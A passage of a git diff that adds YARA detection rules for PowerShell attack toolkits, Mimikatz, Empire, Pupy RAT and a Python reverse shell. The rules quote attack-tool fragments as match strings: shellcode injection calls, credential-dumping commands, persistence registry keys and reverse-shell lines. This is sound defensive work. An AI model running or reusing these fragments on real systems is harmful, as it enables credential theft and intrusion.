+      $s9 = "$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, " ascii
+      $s15 = "$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null" fullword ascii
+   condition:
+      uint16(0) == 0x7566 and filesize < 6000KB and 1 of them
+}
+
+rule PowerShell_JAB_B64 {
+   meta:
+      description = "Detects base464 encoded $ sign at the beginning of a string"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/ItsReallyNick/status/980915287922040832"
+      date = "2018-04-02"
+      score = 60
+      id = "c18fa17b-aaa5-5a89-bc25-3cc51b5af103"
+   strings:
+      $s1 = "('JAB" ascii wide
+      $s2 = "powershell" nocase
+   condition:
+      filesize < 30KB and all of them
+}
+
+rule SUSP_PS1_FromBase64String_Content_Indicator : FILE {
+   meta:
+      description = "Detects suspicious base64 encoded PowerShell expressions"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639"
+      date = "2020-01-25"
+      id = "326c83ff-5d21-508f-b935-03ccdab6efa7"
+   strings:
+      $ = "::FromBase64String(\"H4s" ascii wide
+      $ = "::FromBase64String(\"TVq" ascii wide
+      $ = "::FromBase64String(\"UEs" ascii wide
+      $ = "::FromBase64String(\"JAB" ascii wide
+      $ = "::FromBase64String(\"SUVY" ascii wide
+      $ = "::FromBase64String(\"SQBFAF" ascii wide
+      $ = "::FromBase64String(\"SQBuAH" ascii wide
+      $ = "::FromBase64String(\"PAA" ascii wide
+      $ = "::FromBase64String(\"cwBhA" ascii wide
+      $ = "::FromBase64String(\"aWV4" ascii wide
+      $ = "::FromBase64String(\"aQBlA" ascii wide
+      $ = "::FromBase64String(\"R2V0" ascii wide
+      $ = "::FromBase64String(\"dmFy" ascii wide
+      $ = "::FromBase64String(\"dgBhA" ascii wide
+      $ = "::FromBase64String(\"dXNpbm" ascii wide
+      $ = "::FromBase64String(\"H4sIA" ascii wide
+      $ = "::FromBase64String(\"Y21k" ascii wide
+      $ = "::FromBase64String(\"Qzpc" ascii wide
+      $ = "::FromBase64String(\"Yzpc" ascii wide
+      $ = "::FromBase64String(\"IAB" ascii wide
+
+      $ = "::FromBase64String('H4s" ascii wide
+      $ = "::FromBase64String('TVq" ascii wide
+      $ = "::FromBase64String('UEs" ascii wide
+      $ = "::FromBase64String('JAB" ascii wide
+      $ = "::FromBase64String('SUVY" ascii wide
+      $ = "::FromBase64String('SQBFAF" ascii wide
+      $ = "::FromBase64String('SQBuAH" ascii wide
+      $ = "::FromBase64String('PAA" ascii wide
+      $ = "::FromBase64String('cwBhA" ascii wide
+      $ = "::FromBase64String('aWV4" ascii wide
+      $ = "::FromBase64String('aQBlA" ascii wide
+      $ = "::FromBase64String('R2V0" ascii wide
+      $ = "::FromBase64String('dmFy" ascii wide
+      $ = "::FromBase64String('dgBhA" ascii wide
+      $ = "::FromBase64String('dXNpbm" ascii wide
+      $ = "::FromBase64String('H4sIA" ascii wide
+      $ = "::FromBase64String('Y21k" ascii wide
+      $ = "::FromBase64String('Qzpc" ascii wide
+      $ = "::FromBase64String('Yzpc" ascii wide
+      $ = "::FromBase64String('IAB" ascii wide
+   condition:
+      filesize < 5000KB and 1 of them
+}
diff --git a/yara-Neo23x0/gen_powershell_toolkit.yar b/yara-Neo23x0/gen_powershell_toolkit.yar
new file mode 100644
index 0000000..d3ab485
--- /dev/null
+++ b/yara-Neo23x0/gen_powershell_toolkit.yar
@@ -0,0 +1,248 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-09-04
+	Identifier: PowerShell Toolset - Cloaked
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule ps1_toolkit_PowerUp {
+	meta:
+		description = "Auto-generated rule - file PowerUp.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "fc65ec85dbcd49001e6037de9134086dd5559ac41ac4d1adf7cab319546758ad"
+		id = "ff3eeec3-602d-5824-8a50-aed2081f49bc"
+	strings:
+		$s1 = "iex \"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe list vdir /text:vdir.name\" | % { " fullword ascii
+		$s2 = "iex \"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe list apppools /text:name\" | % { " fullword ascii
+		$s3 = "if ($Env:PROCESSOR_ARCHITECTURE -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBNAEQANgA0AA==')))) {" fullword ascii
+		$s4 = "C:\\Windows\\System32\\InetSRV\\appcmd.exe list vdir /text:physicalpath | " fullword ascii
+		$s5 = "if (Test-Path  (\"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe\"))" fullword ascii
+		$s6 = "if (Test-Path  (\"$Env:SystemRoot\\System32\\InetSRV\\appcmd.exe\")) {" fullword ascii
+		$s7 = "Write-Verbose \"Executing command '$Cmd'\"" fullword ascii
+		$s8 = "Write-Warning \"[!] Target service" fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 4000KB and 1 of them ) or ( 3 of them )
+}
+
+rule ps1_toolkit_Inveigh_BruteForce {
+	meta:
+		description = "Auto-generated rule - file Inveigh-BruteForce.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
+		id = "cdc298d3-f9ac-5472-bdc9-0dc51ad91e4a"
+	strings:
+		$s1 = "Import-Module .\\Inveigh.psd1;Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 " fullword ascii
+		$s2 = "$(Get-Date -format 's') - Attempting to stop HTTP listener\")|Out-Null" fullword ascii
+		$s3 = "Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Hostname server1" fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 300KB and 1 of them ) or ( 2 of them )
+}
+
+rule ps1_toolkit_Invoke_Shellcode {
+	meta:
+		description = "Auto-generated rule - file Invoke-Shellcode.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "24abe9f3f366a3d269f8681be80c99504dea51e50318d83ee42f9a4c7435999a"
+		id = "193d64b6-ffba-55fb-ab95-9c78552b8d68"
+	strings:
+		$s1 = "Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii
+		$s2 = "Get-ProcAddress kernel32.dll OpenProcess" fullword ascii
+		$s3 = "msfpayload windows/exec CMD=\"cmd /k calc\" EXITFUNC=thread C | sed '1,6d;s/[\";]//g;s/\\\\/,0/g' | tr -d '\\n' | cut -c2- " fullword ascii
+		$s4 = "inject shellcode into" ascii
+		$s5 = "Injecting shellcode" ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 90KB and 1 of them ) or ( 3 of them )
+}
+
+rule ps1_toolkit_Invoke_Mimikatz {
+	meta:
+		description = "Auto-generated rule - file Invoke-Mimikatz.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "5c31a2e3887662467cfcb0ac37e681f1d9b0f135e6dfff010aae26587e03d8c8"
+		id = "7c0252a1-fbe4-5519-949b-285073abb21f"
+	strings:
+		$s1 = "Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii
+		$s2 = "ps | where { $_.Name -eq $ProcName } | select ProcessName, Id, SessionId" fullword ascii
+		$s3 = "privilege::debug exit" ascii
+		$s4 = "Get-ProcAddress Advapi32.dll AdjustTokenPrivileges" fullword ascii
+		$s5 = "Invoke-Mimikatz -DumpCreds" fullword ascii
+		$s6 = "| Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002" fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 10000KB and 1 of them ) or ( 3 of them )
+}
+
+rule ps1_toolkit_Invoke_RelfectivePEInjection {
+	meta:
+		description = "Auto-generated rule - file Invoke-RelfectivePEInjection.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "510b345f821f93c1df5f90ac89ad91fcd0f287ebdabec6c662b716ec9fddb03a"
+		id = "75ceb01e-103f-55b2-8362-42d22a35a36a"
+	strings:
+		$x1 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)" fullword ascii
+		$x2 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local" fullword ascii
+		$x3 = "} = Get-ProcAddress Advapi32.dll OpenThreadToken" ascii
+		$x4 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local" fullword ascii
+		$s5 = "$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll')" fullword ascii
+		$s6 = "= Get-ProcAddress Advapi32.dll AdjustTokenPrivileges" ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 700KB and 2 of them ) or ( all of them )
+}
+
+rule ps1_toolkit_Persistence {
+	meta:
+		description = "Auto-generated rule - file Persistence.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "e1a4dd18b481471fc25adea6a91982b7ffed1c2d393c8c17e6e542c030ac6cbd"
+		id = "38115391-75ac-5ba8-b31b-dcf4c66179b0"
+	strings:
+		$s1 = "\"`\"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```\"root\\subscription```" ascii
+		$s2 = "}=$PROFILE.AllUsersAllHosts;${" ascii
+		$s3 = "C:\\PS> $ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup"  ascii
+		$s4 = "= gwmi Win32_OperatingSystem | select -ExpandProperty OSArchitecture"  ascii
+		$s5 = "-eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAxADQAQwA='))))"  ascii
+		$s6 = "}=$PROFILE.CurrentUserAllHosts;${"  ascii
+		$s7 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBPAG4ASQBkAGwAZQA=')" ascii
+		$s8 = "[System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)" fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 200KB and 2 of them ) or ( 4 of them )
+}
+
+rule ps1_toolkit_Invoke_Mimikatz_RelfectivePEInjection {
+	meta:
+		description = "Auto-generated rule - from files Invoke-Mimikatz.ps1, Invoke-RelfectivePEInjection.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		super_rule = 1
+		hash1 = "5c31a2e3887662467cfcb0ac37e681f1d9b0f135e6dfff010aae26587e03d8c8"
+		hash2 = "510b345f821f93c1df5f90ac89ad91fcd0f287ebdabec6c662b716ec9fddb03a"
+		id = "e9471f95-48e1-57e0-b0be-f916c574a6a7"
+	strings:
+		$s1 = "[IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])" fullword ascii
+		$s2 = "if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)" fullword ascii
+		$s3 = "[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)" fullword ascii
+		$s4 = "Function Import-DllInRemoteProcess" fullword ascii
+		$s5 = "FromBase64String('QwBvAG4AdABpAG4AdQBlAA==')))" fullword ascii
+		$s6 = "[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)" fullword ascii
+		$s7 = "[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)" fullword ascii
+		$s8 = "[System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null" fullword ascii
+		$s9 = "::FromBase64String('RABvAG4AZQAhAA==')))" ascii
+		$s10 = "Write-Verbose \"PowerShell ProcessID: $PID\"" fullword ascii
+		$s11 = "[IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])" fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 10000KB and 3 of them ) or ( 6 of them )
+}
+
+rule ps1_toolkit_Inveigh_BruteForce_2 {
+	meta:
+		description = "Auto-generated rule - from files Inveigh-BruteForce.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
+		id = "1319b03d-67e8-5155-8037-e3375e39f6a0"
+	strings:
+		$s1 = "}.NTLMv2_file_queue[0]|Out-File ${" ascii
+		$s2 = "}.NTLMv2_file_queue.RemoveRange(0,1)" ascii
+		$s3 = "}.NTLMv2_file_queue.Count -gt 0)" ascii
+		$s4 = "}.relay_running = $false" ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 200KB and 2 of them ) or ( 4 of them )
+}
+
+rule ps1_toolkit_PowerUp_2 {
+	meta:
+		description = "Auto-generated rule - from files PowerUp.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "fc65ec85dbcd49001e6037de9134086dd5559ac41ac4d1adf7cab319546758ad"
+		id = "11322a66-67d4-574b-acef-35d06e6f95f4"
+	strings:
+		$s1 = "if($MyConString -like $([Text.Encoding]::Unicode.GetString([Convert]::" ascii
+		$s2 = "FromBase64String('KgBwAGEAcwBzAHcAbwByAGQAKgA=')))) {" ascii
+		$s3 = "$Null = Invoke-ServiceStart" ascii
+		$s4 = "Write-Warning \"[!] Access to service $" ascii
+		$s5 = "} = $MyConString.Split(\"=\")[1].Split(\";\")[0]" ascii
+		$s6 = "} += \"net localgroup ${" ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 2000KB and 2 of them ) or ( 4 of them )
+}
+
+rule ps1_toolkit_Persistence_2 {
+	meta:
+		description = "Auto-generated rule - from files Persistence.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash1 = "e1a4dd18b481471fc25adea6a91982b7ffed1c2d393c8c17e6e542c030ac6cbd"
+		id = "d79c328b-4471-52bb-882c-12d2e1302c1e"
+	strings:
+		$s1 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBPAG4ASQBkAGwAZQA=')" ascii
+		$s2 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBEAGEAaQBsAHkA')" ascii
+		$s3 = "FromBase64String('UAB1AGIAbABpAGMALAAgAFMAdABhAHQAaQBjAA==')" ascii
+		$s4 = "[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]" ascii
+		$s5 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAHQATABvAGcAbwBuAA==')))" ascii
+		$s6 = "[Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]" fullword ascii
+		$s7 = "FromBase64String('TQBlAHQAaABvAGQA')" ascii
+		$s8 = "FromBase64String('VAByAGkAZwBnAGUAcgA=')" ascii
+		$s9 = "[Runtime.InteropServices.CallingConvention]::Winapi," fullword ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 200KB and 2 of them ) or ( 4 of them )
+}
+
+rule ps1_toolkit_Inveigh_BruteForce_3 {
+	meta:
+		description = "Auto-generated rule - from files Inveigh-BruteForce.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/vysec/ps1-toolkit"
+		date = "2016-09-04"
+		score = 80
+		hash3 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
+		id = "d284e93b-dd65-5a39-84e2-287feb6ae05b"
+	strings:
+		$s1 = "::FromBase64String('TgBUAEwATQA=')" ascii
+		$s2 = "::FromBase64String('KgBTAE0AQgAgAHIAZQBsAGEAeQAgACoA')))" ascii
+		$s3 = "::FromBase64String('KgAgAGYAbwByACAAcgBlAGwAYQB5ACAAKgA=')))" ascii
+		$s4 = "::FromBase64String('KgAgAHcAcgBpAHQAdABlAG4AIAB0AG8AIAAqAA==')))" ascii
+		$s5 = "[Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`" fullword ascii
+		$s6 = "KgAgAGwAbwBjAGEAbAAgAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIAAqAA" ascii
+		$s7 = "}.bruteforce_running)" ascii
+	condition:
+		( uint16(0) == 0xbbef and filesize < 200KB and 2 of them ) or ( 4 of them )
+}
diff --git a/yara-Neo23x0/gen_powersploit_dropper.yar b/yara-Neo23x0/gen_powersploit_dropper.yar
new file mode 100644
index 0000000..e6d1cf3
--- /dev/null
+++ b/yara-Neo23x0/gen_powersploit_dropper.yar
@@ -0,0 +1,15 @@
+rule HKTL_PowerSploit {
+   meta:
+      description = "Detects default strings used by PowerSploit to establish persistence"
+      author = "Markus Neis"
+      reference = "https://www.hybrid-analysis.com/sample/16937e76db6d88ed0420ee87317424af2d4e19117fe12d1364fee35aa2fadb75?environmentId=100" /*MuddyWater*/
+      date = "2018-06-23"
+      hash1 = "16937e76db6d88ed0420ee87317424af2d4e19117fe12d1364fee35aa2fadb75"
+      id = "8cb0753c-c5bb-56fc-b492-4e785f4bdaf4"
+   strings:
+      $ps = "function" nocase ascii wide
+      $s1 = "/Create /RU system /SC ONLOGON" ascii wide
+      $s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
+   condition:
+      all of them
+}
diff --git a/yara-Neo23x0/gen_ps1_shellcode.yar b/yara-Neo23x0/gen_ps1_shellcode.yar
new file mode 100644
index 0000000..3f21edc
--- /dev/null
+++ b/yara-Neo23x0/gen_ps1_shellcode.yar
@@ -0,0 +1,15 @@
+rule Base64_PS1_Shellcode {
+   meta:
+      description = "Detects Base64 encoded PS1 Shellcode"
+      author = "Nick Carr, David Ledbetter"
+      reference = "https://twitter.com/ItsReallyNick/status/1062601684566843392"
+      date = "2018-11-14"
+      score = 65
+      id = "7c3cec3b-a192-5bfd-b4f1-22b1afeb717e"
+   strings:
+      $substring = "AAAAYInlM"
+      $pattern1 = "/OiCAAAAYInlM"
+      $pattern2 = "/OiJAAAAYInlM"
+   condition:
+      $substring and 1 of ($p*)
+}
diff --git a/yara-Neo23x0/gen_ps_empire_eval.yar b/yara-Neo23x0/gen_ps_empire_eval.yar
new file mode 100644
index 0000000..40fea26
--- /dev/null
+++ b/yara-Neo23x0/gen_ps_empire_eval.yar
@@ -0,0 +1,41 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-27
+   Identifier: PowerShell Empire Eval
+   2 of 8 rules
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PowerShell_Emp_Eval_Jul17_A1 {
+   meta:
+      description = "Detects suspicious sample with PowerShell content "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "PowerShell Empire Eval"
+      date = "2017-07-27"
+      hash1 = "4d10e80c7c80ef040efc680424a429558c7d76a965685bbc295908cb71137eba"
+      id = "1699f153-f972-5e06-a94b-eb95af637e6b"
+   strings:
+      $s1 = "powershell" wide
+      $s2 = "pshcmd" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 30KB and all of them )
+}
+
+rule PowerShell_Emp_Eval_Jul17_A2 {
+   meta:
+      description = "Detects suspicious sample with PowerShell content "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "PowerShell Empire Eval"
+      date = "2017-07-27"
+      hash1 = "e14c139159c23fdc18969afe57ec062e4d3c28dd42a20bed8ddde37ab4351a51"
+      id = "8f299fcd-156c-5ce1-8582-c2a4ff2c0cfc"
+   strings:
+      $x1 = "\\support\\Release\\ab.pdb" ascii
+      $s2 = "powershell.exe" ascii fullword
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/gen_ps_osiris.yar b/yara-Neo23x0/gen_ps_osiris.yar
new file mode 100644
index 0000000..b03fc8e
--- /dev/null
+++ b/yara-Neo23x0/gen_ps_osiris.yar
@@ -0,0 +1,28 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-03-27
+   Identifier: Osiris
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Invoke_OSiRis {
+   meta:
+      description = "Osiris Device Guard Bypass - file Invoke-OSiRis.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-03-27"
+      hash1 = "19e4a8b07f85c3d4c396d0c4e839495c9fba9405c06a631d57af588032d2416e"
+      id = "b9f4e5dd-2366-5898-9f46-17584139469f"
+   strings:
+      $x1 = "$null = Iwmi Win32_Process -EnableA -Impers 3 -AuthenPacketprivacy -Name Create -Arg $ObfusK -Computer $Target" fullword ascii
+      $x2 = "Invoke-OSiRis" ascii
+      $x3 = "-Arg@{Name=$VarName;VariableValue=$OSiRis;UserName=$env:Username}" fullword ascii
+      $x4 = "Device Guard Bypass Command Execution" fullword ascii
+      $x5 = "-Put Payload in Win32_OSRecoveryConfiguration DebugFilePath" fullword ascii
+      $x6 = "$null = Iwmi Win32_Process -EnableA -Impers 3 -AuthenPacketprivacy -Name Create" fullword ascii
+   condition:
+      1 of them
+}
diff --git a/yara-Neo23x0/gen_pua.yar b/yara-Neo23x0/gen_pua.yar
new file mode 100644
index 0000000..ec3b06e
--- /dev/null
+++ b/yara-Neo23x0/gen_pua.yar
@@ -0,0 +1,20 @@
+rule WinDivert_Driver {
+   meta:
+      description = "Detects WinDivert User-Mode packet capturing driver"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.reqrypt.org/windivert.html"
+      date = "2017-10-02"
+      score = 40
+      hash1 = "33c657fa27b92cfcced66b331cfea7a880460a98cf037e4277faa1420fe59d1c"
+      hash2 = "9b834e8f9d117bf2c564a37434973dc0717270ebfac8d8251711905d18da3858"
+      hash3 = "5ef707ea68a9bd3a3e568793a0f7d66d166694801ada067d9ebac1d13e53153e"
+      hash4 = "df12afa691e529f01c75b3dd734f6b45bf1488dbf90ced218657f0d205bff319"
+      id = "95e89577-bb5a-5391-9130-155746d4783f"
+   strings:
+      $s1 = "WinDivertDllEntry" fullword ascii
+      $s2 = "WinDivertHelperParseIPv4Address" fullword ascii
+      $s3 = "WinDivert (web: http://reqrypt.org/windivert.html)" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 80KB and 1 of them )
+}
diff --git a/yara-Neo23x0/gen_pupy_rat.yar b/yara-Neo23x0/gen_pupy_rat.yar
new file mode 100644
index 0000000..d62b2b1
--- /dev/null
+++ b/yara-Neo23x0/gen_pupy_rat.yar
@@ -0,0 +1,44 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-11
+   Identifier: Pupy Backdoor
+   Reference: https://github.com/n1nj4sec/pupy-binaries
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule Pupy_Backdoor {
+   meta:
+      description = "Detects Pupy backdoor"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/n1nj4sec/pupy-binaries"
+      date = "2017-08-11"
+      hash1 = "ae93714203c7ab4ab73f2ad8364819d16644c7649ea04f483b46924bd5bc0153"
+      hash2 = "83380f351214c3bd2c8e62430f70f8f90d11c831695027f329af04806b9f8ea4"
+      hash3 = "90757c1ae9597bea39bb52a38fb3d497358a2499c92c7636d71b95ec973186cc"
+      hash4 = "20e19817f72e72f87c794843d46c55f2b8fd091582bceca0460c9f0640c7bbd8"
+      hash5 = "06bb41c12644ca1761bcb3c14767180b673cb9d9116b555680073509e7063c3e"
+      hash6 = "be83c513b24468558dc7df7f63d979af41287e568808ed8f807706f6992bfab2"
+      hash7 = "8784c317e6977b4c201393913e76fc11ec34ea657de24e957d130ce9006caa01"
+
+      id = "11509847-3454-5412-b3e1-02ad9cccc6ae"
+   strings:
+      $x1 = "reflectively inject a dll into a process." fullword ascii
+      $x2 = "ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid" fullword ascii
+      $x3 = "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null" fullword ascii
+      $x4 = "reflective_inject_dll" fullword ascii
+      $x5 = "ld_preload_inject_dll" fullword ascii
+      $x6 = "get_pupy_config() -> string" fullword ascii
+      $x7 = "[INJECT] inject_dll. OpenProcess failed." fullword ascii
+      $x8 = "reflective_inject_dll" fullword ascii
+      $x9 = "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)" fullword ascii
+      $x10 = "linux_inject_main" fullword ascii
+   condition:
+      ( ( uint16(0) == 0x457f or uint16(0) == 0x5a4d ) and filesize < 7000KB and 1 of them )
+      or 3 of them
+      or ( uint16(0) == 0x5a4d and pe.imphash() == "84a69bce2ff6d9f866b7ae63bd70b163" )
+}
diff --git a/yara-Neo23x0/gen_python_encoded_adware.yar b/yara-Neo23x0/gen_python_encoded_adware.yar
new file mode 100644
index 0000000..21ddcc1
--- /dev/null
+++ b/yara-Neo23x0/gen_python_encoded_adware.yar
@@ -0,0 +1,22 @@
+rule gen_python_encoded_adware
+{
+    meta: 
+        description = "Encoded Python payload for adware"
+        author = "John Lambert @JohnLaTwC"
+        date = "2018-03-07"
+        modified = "2023-01-06"
+        hash = "5d7239be779367e69d2e63ffd9dc6e2a1f79c4e5c6c725e8c5e59a44c0ab2fff"
+        reference = "https://twitter.com/JohnLaTwC/status/949048002466914304"
+        
+        id = "7b4b422b-c960-5ab3-a6a7-a30e416efdec"
+    strings:
+        $r1 = "=__import__(\"base64\").b64decode"
+        /* $r2 = ")))))" */
+        $s1 = "bytes(map(lambda"
+        $s2 = "[1]^"
+    condition:
+        filesize < 100KB
+        and @r1 < 100
+        // and @r2 > (filesize - 30)
+        and all of them
+}
diff --git a/yara-Neo23x0/gen_python_pty_shell.yar b/yara-Neo23x0/gen_python_pty_shell.yar
new file mode 100644
index 0000000..cf9b552
--- /dev/null
+++ b/yara-Neo23x0/gen_python_pty_shell.yar
@@ -0,0 +1,16 @@
+rule HKTL_Reverse_Connect_TCP_PTY_Shell {
+   meta:
+      description = "Detects reverse connect TCP PTY shell"
+      author = "Jeff Beley"
+      date = "2019-10-19"
+      hash1 = "cae9833292d3013774bdc689d4471fd38e4a80d2d407adf9fa99bc8cde3319bf"
+      reference = "https://github.com/infodox/python-pty-shells/blob/master/tcp_pty_backconnect.py"
+      id = "a9a90d67-774b-5b32-97c0-d7e06763f2e9"
+   strings:
+      $s1 = "os.dup2(s.fileno(),1)" fullword ascii
+      $s2 = "pty.spawn(\"/bin/\")" fullword ascii
+      $s3 = "os.putenv(\"HISTFILE\",'/dev/null')" fullword ascii
+      $s4 = "socket.socket(socket.AF_INET, socket.SOCK_STREAM)" fullword ascii
+   condition:
+      filesize < 1KB and 2 of them
+}
diff --git a/yara-Neo23x0/gen_python_pyminifier_encoded_payload.yar b/yara-Neo23x0/gen_python_pyminifier_encoded_payload.yar
new file mode 100644
index 0000000..a5e8c65
--- /dev/null
+++ b/yara-Neo23x0/gen_python_pyminifier_encoded_payload.yar
@@ -0,0 +1,29 @@
+rule gen_python_pyminifier_encoded_payload
+{
+    meta:
